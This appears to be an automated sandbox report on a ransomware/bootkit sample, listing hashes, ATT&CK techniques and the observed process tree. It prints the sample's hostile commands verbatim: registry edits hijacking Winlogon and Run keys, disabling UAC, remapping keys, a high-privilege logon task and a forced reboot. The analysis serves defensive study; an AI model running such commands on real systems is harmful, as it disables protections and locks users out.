f1bbcc5c678d174d858ae089f4494e3ea8bcfc418098d61804a15e437f08aff7

Target

[email protected]
Size

315KB
MD5

9f8bc96c96d43ecb69f883388d228754
SHA1

61ed25a706afa2f6684bb4d64f69c5fb29d20953
SHA256

7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5
SHA512

550a891c1059f58aa983138caf65a7ea9c326cb1b94c15f3e7594128f6e9f1295b9c2dbc0925637dba7c94e938083fffc6a63dc7c2e5b1e247679931cce505c6

Score

10^/10

bootkit evasion persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112

Executes dropped EXE 1 IoCs

Processes:

system.exe

pid	Process
3172	system.exe

Modifies WinLogon to allow AutoLogon 2 TTPs 1 IoCs

Enables rebooting of the machine without requiring login credentials.

ransomware bootkit

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

LogonUI.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked	LogonUI.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

SCHTASKS.exe

pid	Process
4076	SCHTASKS.exe

Modifies Control Panel 2 IoCs

evasion

Processes:

reg.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Accessibility\StickyKeys	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Accessibility\StickyKeys\Flags = "506"	reg.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

wlrmdr.exe

pid	Process
1972	wlrmdr.exe
1972	wlrmdr.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

shutdown.exe

description	pid	Process
Token: SeShutdownPrivilege	1960	shutdown.exe
Token: SeRemoteShutdownPrivilege	1960	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

wlrmdr.exeLogonUI.exe

pid	Process
1972	wlrmdr.exe
2424	LogonUI.exe

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

[email protected]system.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 1628 wrote to memory of 3172	1628	[email protected]	75
PID 1628 wrote to memory of 3172	1628	[email protected]	75
PID 1628 wrote to memory of 3172	1628	[email protected]	75
PID 3172 wrote to memory of 492	3172	system.exe	76
PID 3172 wrote to memory of 492	3172	system.exe	76
PID 3172 wrote to memory of 492	3172	system.exe	76
PID 3172 wrote to memory of 4076	3172	system.exe	78
PID 3172 wrote to memory of 4076	3172	system.exe	78
PID 3172 wrote to memory of 4076	3172	system.exe	78
PID 3172 wrote to memory of 3940	3172	system.exe	80
PID 3172 wrote to memory of 3940	3172	system.exe	80
PID 3172 wrote to memory of 3940	3172	system.exe	80
PID 3172 wrote to memory of 2708	3172	system.exe	81
PID 3172 wrote to memory of 2708	3172	system.exe	81
PID 3172 wrote to memory of 2708	3172	system.exe	81
PID 3172 wrote to memory of 3684	3172	system.exe	83
PID 3172 wrote to memory of 3684	3172	system.exe	83
PID 3172 wrote to memory of 3684	3172	system.exe	83
PID 3172 wrote to memory of 2836	3172	system.exe	85
PID 3172 wrote to memory of 2836	3172	system.exe	85
PID 3172 wrote to memory of 2836	3172	system.exe	85
PID 3172 wrote to memory of 2244	3172	system.exe	87
PID 3172 wrote to memory of 2244	3172	system.exe	87
PID 3172 wrote to memory of 2244	3172	system.exe	87
PID 3172 wrote to memory of 1332	3172	system.exe	89
PID 3172 wrote to memory of 1332	3172	system.exe	89
PID 3172 wrote to memory of 1332	3172	system.exe	89
PID 3940 wrote to memory of 2148	3940	cmd.exe	92
PID 3940 wrote to memory of 2148	3940	cmd.exe	92
PID 3940 wrote to memory of 2148	3940	cmd.exe	92
PID 2836 wrote to memory of 1944	2836	cmd.exe	93
PID 2836 wrote to memory of 1944	2836	cmd.exe	93
PID 2836 wrote to memory of 1944	2836	cmd.exe	93
PID 2244 wrote to memory of 576	2244	cmd.exe	94
PID 2244 wrote to memory of 576	2244	cmd.exe	94
PID 2244 wrote to memory of 576	2244	cmd.exe	94
PID 3684 wrote to memory of 2300	3684	cmd.exe	95
PID 3684 wrote to memory of 2300	3684	cmd.exe	95
PID 3684 wrote to memory of 2300	3684	cmd.exe	95
PID 1332 wrote to memory of 2276	1332	cmd.exe	96
PID 1332 wrote to memory of 2276	1332	cmd.exe	96
PID 1332 wrote to memory of 2276	1332	cmd.exe	96
PID 2708 wrote to memory of 3800	2708	cmd.exe	97
PID 2708 wrote to memory of 3800	2708	cmd.exe	97
PID 2708 wrote to memory of 3800	2708	cmd.exe	97
PID 3172 wrote to memory of 3116	3172	system.exe	100
PID 3172 wrote to memory of 3116	3172	system.exe	100
PID 3172 wrote to memory of 3116	3172	system.exe	100
PID 3116 wrote to memory of 2560	3116	cmd.exe	102
PID 3116 wrote to memory of 2560	3116	cmd.exe	102
PID 3116 wrote to memory of 2560	3116	cmd.exe	102
PID 3172 wrote to memory of 3612	3172	system.exe	103
PID 3172 wrote to memory of 3612	3172	system.exe	103
PID 3172 wrote to memory of 3612	3172	system.exe	103
PID 3612 wrote to memory of 1960	3612	cmd.exe	105
PID 3612 wrote to memory of 1960	3612	cmd.exe	105
PID 3612 wrote to memory of 1960	3612	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\[email protected]
"C:\Users\Admin\AppData\Local\Temp\[email protected]"
1⤵
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Users\Admin\AppData\Local\system.exe
  "C:\Users\Admin\AppData\Local\system.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
    3⤵
    PID:492
- - C:\Windows\SysWOW64\SCHTASKS.exe
    C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4076
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
      4⤵
      Modifies WinLogon for persistence
      PID:2148
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
      4⤵
      Adds Run key to start application
      PID:3800
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3684
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
      4⤵
      PID:2300
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
      4⤵
      Modifies Control Panel
      PID:1944
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
      4⤵
      PID:576
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:2276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3116
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
      4⤵
      PID:2560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3612
  - - C:\Windows\SysWOW64\shutdown.exe
      shutdown -r -t 10 -f
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1960

C:\Windows\system32\wlrmdr.exe
-s -1 -f 2 -t You're about to be signed out -m Windows will shut down in less than a minute. -a 3
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1972

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3ad3055 /state1:0x41c64e6d
1⤵
- Modifies WinLogon to allow AutoLogon
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2424

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\del.bat

MD5
dda69d69d2bf9994650f6c0df260fd80

SHA1
94041b483a3b0cda19339bddf09f1bd1b2242fea

SHA256
a2126c0c0b9d7401a20582ada62be413320cebb86dff164e5cb91bec7b6aa898

SHA512
7e70d053cd60110011844a699eba9a25065cdb2827fd72f379a67f479eb2ddc346223c39e3c2781dc16b8e07915737aba513b5eae57d38e88d46eae318a579ac

Download Submit
C:\Users\Admin\AppData\Local\system.exe

MD5
4a42fda5a4ddcd7efb4bc9b2b3a078ad

SHA1
bda8e5e2b826a0ca962ffdf68b9873786b842367

SHA256
2b6beee78d86145985d69f9a9ec862b96b777901489e5eac564565a7cc0be42c

SHA512
044f277f273cd0b9e07ff661c976e30744bfb10a10a528a8837d848583a7903093bcccbf8c5233695e4db0e2e488732f08a72cb452fdb0cfa90476515da80e30

Download Submit
C:\Users\Admin\AppData\Local\system.exe

MD5
4a42fda5a4ddcd7efb4bc9b2b3a078ad

SHA1
bda8e5e2b826a0ca962ffdf68b9873786b842367

SHA256
2b6beee78d86145985d69f9a9ec862b96b777901489e5eac564565a7cc0be42c

SHA512
044f277f273cd0b9e07ff661c976e30744bfb10a10a528a8837d848583a7903093bcccbf8c5233695e4db0e2e488732f08a72cb452fdb0cfa90476515da80e30

Download Submit
memory/492-3-0x0000000000000000-mapping.dmp

Download
memory/576-14-0x0000000000000000-mapping.dmp

Download
memory/1332-11-0x0000000000000000-mapping.dmp

Download
memory/1944-13-0x0000000000000000-mapping.dmp

Download
memory/1960-21-0x0000000000000000-mapping.dmp

Download
memory/2148-12-0x0000000000000000-mapping.dmp

Download
memory/2244-10-0x0000000000000000-mapping.dmp

Download
memory/2276-16-0x0000000000000000-mapping.dmp

Download
memory/2300-15-0x0000000000000000-mapping.dmp

Download
memory/2560-19-0x0000000000000000-mapping.dmp

Download
memory/2708-7-0x0000000000000000-mapping.dmp

Download
memory/2836-9-0x0000000000000000-mapping.dmp

Download
memory/3116-18-0x0000000000000000-mapping.dmp

Download
memory/3172-0-0x0000000000000000-mapping.dmp

Download
memory/3612-20-0x0000000000000000-mapping.dmp

Download
memory/3684-8-0x0000000000000000-mapping.dmp

Download
memory/3800-17-0x0000000000000000-mapping.dmp

Download
memory/3940-6-0x0000000000000000-mapping.dmp

Download
memory/4076-4-0x0000000000000000-mapping.dmp

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads